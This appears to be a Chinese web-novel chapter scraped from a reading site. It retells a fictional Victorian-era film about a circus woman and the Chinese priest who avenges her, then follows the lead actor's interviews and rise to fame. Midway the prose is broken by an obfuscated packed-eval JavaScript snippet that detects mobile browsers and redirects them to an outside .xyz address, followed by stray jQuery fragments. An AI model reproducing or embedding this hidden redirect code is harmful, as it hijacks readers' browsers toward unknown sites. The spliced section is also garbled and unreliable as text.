《蓦然夫人》的电影从神甫银川的视角展开，像是翻开一本陈旧的日记，那个年代，伦敦的下层娱乐生活被马戏团里名叫“魔鬼夫人”的女人主宰着。一个女人放弃了一切的时候，恰恰就是她拥有一切的时候。


    只有银川坚持叫她“蓦然夫人”，聆听他讲述的画外音试图纠正，已是中年人模样的银川眼皮也不抬地笑笑。回忆继续。


    那次银川自疫病中活了下来，和维多利亚一样，生活似乎重新有了转机。他被提升为主教的助手，外人分外好奇这个沉默寡言的东方人——他几乎不说话，但凡说话，都是引用圣经里白纸黑字的词句，一种神圣兼具神秘的混合气质抹杀了他可疑的出身带给人的信赖危机。但总有人锲而不舍地追问。


    “日本人？”


    “……”


    “朝鲜人？”


    “……”


    “东印度人？”


    “……中国人。”撬开了银川紧闭的唇齿，对方不以为意地哈哈大笑，主教则勃然大怒，不能容忍一部会说话的圣经吐出别的言语，残酷的体罚接踵而至。


    外号“瓷娃娃神甫”的银川像是舶来自他故土的名贵瓷器那样被束之高阁，于此同时，维多利亚的生活分外精彩。意外到来的遗产给了她重返上流社会的门票，她本可以嫁给一个绅士，改头换面，重拾她原本姓氏下的体面生活——但是她没有。她投资了情人维克多江河日下的马戏团，也像她计划的那样，“魔鬼夫人”声名鹊起，老马戏团似乎回光返照。耍戏法，讲故事，跳脱而狂野的偶像……灵感来源于遥远东方的社戏。


    许多人专门花钱来听魔鬼夫人讲遥远东方的奇闻逸事，她转而用比票价更昂贵的茶果招呼这些客人，所以其实并赚不到什么钱。每星期一次的保留节目，她当着众人的面把自己的头放到据说饿了一周的狮子的嘴里，如果狮子没有把她的头咬掉，就意味着地狱还没有召唤她回去。


    她身边的情人来了又走，马戏团的维克多向她数次告白，最终失望，从情人的位置退下，成了她“忠实的朋友”。她始终没有死于狮口，只是每当把头置于狮子的利齿之下时，濒死之际，她脑中总会浮现一些意外的场景。她无法控制自己在死亡的边缘游戏，可能是对那些已经模糊不清的回忆上瘾。


    她的父亲、母亲、丈夫，远方的教堂……有时还有银川。


    维克多和平凡的女工结婚，收养了异形秀里的畸形儿，他放弃了旧帐篷，住进了楼房，决定从马戏团团长的位置上引退。维多利亚成为新团长，她的目标是带着老弱病残的马戏团离开这个国家，在整个欧洲巡演，直到不得不结束的那一天。


    此时已经不知道过去了多少年，她的遗产挥霍无几，青春已然消逝，身边虚荣而聒噪的年轻情人不离不弃，只是为了榨干她仅剩的钱，但是因为孤独，她决定容忍。此时东方的奇闻逸事已经不再叫座，连她最好的拍档，那头狮子都已经老死。马戏团临行前夜，她去了教堂。


    在忏悔的隔间，那一头是已经成为神甫的银川。


    她知道对面是他吗？


    如果不知道，为何会突然说起那种来自东方的晦涩的难懂的语言？


    听起来像是他的母语，却因为尘封太久，已然无法辨认。


    在另一头默默聆听的银川无声地泪流满面。他们并看不到彼此的脸，透过栏杆，她似乎想伸出手去，不小心露出的皮肤上露出难以启齿的绝症的痕迹，她抓住袖子，又收回手，最终推开忏悔室的门走了出去。


    银川同样伸出手，想要推开隔间的门，却犹豫了，指尖捏紧成青白色，始终没有鼓起勇气，只能听着她的脚步走远。


    她没有什么好忏悔的，只是为了向他告别。


    蓦然夫人并非每次都能死里逃生，她的魔力似乎消失了，最终死在她魔鬼一样的情人手下。离开英格兰后不久，在帐篷里，他们发生了争执，情人将维多利亚刺死，卷走了她剩下的钱财。


    她死在她也说不出来的某地，她这一生不属于任何地方，死时也没有神的使者在侧，指明她死后会上天堂还是下地狱……“魔鬼夫人”会有所偏好吗？


    她死亡的消息传回伦敦，凶手在异国犯案逃逸，案子不了了之。她唯一称得上密友的维克多长叹一口气，苦涩地接受了这一切。她的一生草草了事，甚至不能称为传奇。


    直到五年之后，一位神甫像往常一样倾听忏悔，忏悔者坦白自己五年前在异国的土地上曾犯下的一桩杀死情妇的罪行，没想随即被闯入忏悔间的神甫刺死。此事造成极大轰动。


    杀人者银川被判绞刑，这些年，他藏的很好，直到此时才被众人得知，这原来是一位东方人。在行刑前，泰晤士日报对他进行采访，才从他口中获悉Ms.Sudden的故事。他如今的外号被叫“撒旦神甫”，当着众人惊异的目光，他却笑了。


    在故事的结尾。


    绞索套到了银川的脖子上，他的脚下踩着陈旧的木板，行刑的机关会在几秒之内弹开，然后扯断他的脖子。


    其他人给他戴上头套，不忍看到这个东方人殉难者一样的眼神。


    “你还有什么话要说吗？中国人？”


    “出于外交礼仪，我们已经请示了你的祖国，你的女王震怒于你犯下的令人发指的罪行，亲自向维多利亚女王致歉，并表示接受大英帝国对你的一切处置。”


    ——他的女王？


    遥远的东方王朝已经迎来末日，曾经不可一世的女掌权人正在坟墓里腐烂。


    纵然在这片土地度过了人生的大半部分，不列颠帝国依旧不屑于承认他这个子民。


    银川眼前已然黑下，却毫无畏惧，反而异常平静，把头塞到狮子的利齿之间，原来是这种感觉。


    但他确实有话想说，忘了是多久，他第一次没有引用圣经地开口。


    “我的女王，”他纠正，如同每一条发自他口中的神谕，“——是维多利亚。”


    叫出那个名字的时候，他眼前好像突然看见了她的脸。只有她的脸。


    一切发生在瞬息之间。从末代王朝到蒸汽时代，地球的一端到另一端，从高贵到污秽，从生到死。


    Allofasudden.


    这是维多利亚的时代，却不是维多利亚的时代。在场没有人知道，银川最后所说的维多利亚，并不是那个默认的高高在上的女王，不是Queenofhearts，而是Queenofaheart，一个美丽的、堕落的、自由的、痛苦的女人——他叫她蓦然夫人。


    *


    《蓦然夫人》是简诚的电影处女作，他并不是男主角，从戏份上来说，甚至还比不上情人兼朋友维克多，维多利亚是电影唯一的主角，通过银川伏诛前的讲述串联升华了维多利亚的一生。


    乔若凡很喜欢这部电影。也很能理解简诚可以凭借这一个角色脱颖而出。


    事后接受采访，谈及对“银川”的理解，如何描述他和维多利亚的关系？他是秘密仰慕者，守护者，复仇者……简诚的回答不是以上这些，他说：“他是维多利亚的另一个灵魂，也是她死亡的共谋。”


    作为真正意义上的异乡人，他的命运完全是维多利亚的反面，假如维多利亚愿意顺应她原本的人生轨迹，带着遗产嫁入上流社会，应该就是像银川一样，余生被束之高阁，除了圣经里的神圣引言，再也不能发出别的声音。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909030|152501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    在忏悔间最后的告别，银川没有选择出去，既是呼应了守在公寓门口那次，也是因为他意识到了，这就是维多利亚想要的。


    当时维多利亚已经患上绝症，命不久矣，她一定想过死在巡演途中的可能。只是没有想过的是，她会死的那样无声无息。所以银川替她轰轰烈烈地报仇了。


    为她从“魔鬼夫人”到“蓦然夫人”的正名，让整个大英都记住了这个奇特的女人。她不符合那个时代，仿佛一个来自东方的嬉皮士一样不可思议，她一无所有，又拥有一切。


    采访里还让简诚提供一些有关银川的不为人知的细节，这个角色广受喜爱，其实电影里对他的着墨并不很多，网上很多根据简诚的演绎做出的解读，让这个角色充满了讨论。


    “您觉得银川私下里会是怎样一个人？”


    “我想起来导演当时也问过我这个问题，”简诚笑道，“我说，我觉得银川私下会去看异形秀。他说好啊，那你就那么演吧。”


    主持人略微惊讶：“这么说来，那些有关银川的阴谋论，也有可能是真的咯？”


    他为维多利亚复仇时残忍而冷静的杀戮，暗示他与前来忏悔的妓/女们交从甚密，还有主教一笔带过的身败名裂的下场……因为电影篇幅原因无法交代太多，这些引人深思的细节已然成了影迷心中的不解之谜。


    “一千个人心中有一千个哈姆雷特。”简诚先是给出那个经典的答案，接着话锋一转，“不过按照我的理解，银川代表着维多利亚的灵魂，这样的灵魂恐怕是无法被驯服的。维多利亚身上有一种堕落的纯真，银川，反过来，纯真的堕落。电影里有明示过，他对接受的神学教育是不认可的，作为他无声的反抗，可能是，送了很多无辜的人下地狱吧？——‘魔鬼神甫’，我想他自己也是认同、甚至自得于这个称呼的。”


    主持人和简诚一起笑了起来，换了一个更轻松的问题。


    “影迷讨论最激烈的问题——银川究竟有在没有偷偷喂维多利亚的狮子？”


    “我很意外这会引起讨论，”简诚冲着镜头和煦地微笑着，“其实我也不知道，剧本里确实没有写，可能要问导演了。”


    “想问下如果不是银川，而是简老师的选择呢？”


    “我吗，”简诚道，想了想，“如果我是银川，可能那只狮子会死的更早……我不太喜欢赌博。”


    “嗯嗯？狮子怎么会死，撑死的？”


    简诚被主持人的反应逗笑了，主持人回过神来，有点不好意思。


    “感觉空调冷飕飕的……”


    那段时间，乔若凡后知后觉，沉浸在简诚的电影里。每次看完电影，又忍不住搜了好些专访、影评来看。她必须承认，演员简诚很有魅力。


    凭借《蓦然夫人》和后续作品，简诚一步步走到台前，凭着一张东方脸孔在世界观众面前站稳了脚跟。


    他又出演了许多角色，演绎亚裔在西方世界的多种可能。从初代移民铁路工人、小混混、洗衣店老板，到福建□□传人，从边缘角色到担纲领衔，从寂寂无名的小剧组到好莱坞A-list……从刻板印象演起，然后打破它们。


    2017年，简诚凭借主演电影《神圣门徒》斩获国际电影大奖，亚洲第一位金熊奖影帝诞生。


    颁奖典礼上，主办方邀请资深华裔前辈为简诚颁奖，复刻当年《蓦然夫人》里的经典场景。


    “日本人？朝鲜人？东印度人？”


    29岁的简诚意气风发，黄皮肤，黑眼睛，无数人为之瞩目的世界巨星。


    他高举起奖杯，锋芒毕露的笑容被转播到全世界，还有他的回答。


    ——“中国人！”